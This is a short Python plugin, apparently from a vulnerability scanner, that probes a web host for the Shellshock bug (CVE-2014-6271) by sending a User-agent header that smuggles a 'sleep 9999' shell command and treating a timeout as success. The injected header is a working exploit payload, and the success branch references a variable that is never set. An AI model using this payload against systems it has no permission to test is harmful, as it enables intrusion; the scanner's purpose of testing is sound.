from utils.status import *
from .helper import Plugin,utils

class CVE_2014_6271(Plugin):
    def __init__(self):
        self.name        = "Shell Shock - CVE_2014_6271"
        self.enable      = True
        self.description = ""

    def presquites(self, host):
        if utils.isalive( utils.uri(host) ):
            return True
        return False

    def main(self,host):
        try:
            request = utils.requests.get( utils.uri(host),timeout=120, headers={
                'User-agent':'() {:;}; sleep 9999',
            })
            return Result(FAILED,None,None,None)

        except utils.requests.exceptions.Timeout:
            return Result(
                    status   = SUCCESS,
                    msg      = "Shellshock executed: ['User-agent':'() {:;}; sleep 9999']",
                    request  = utils.dump_request(request),
                    response = utils.dump_response(request)
                )

        

            

        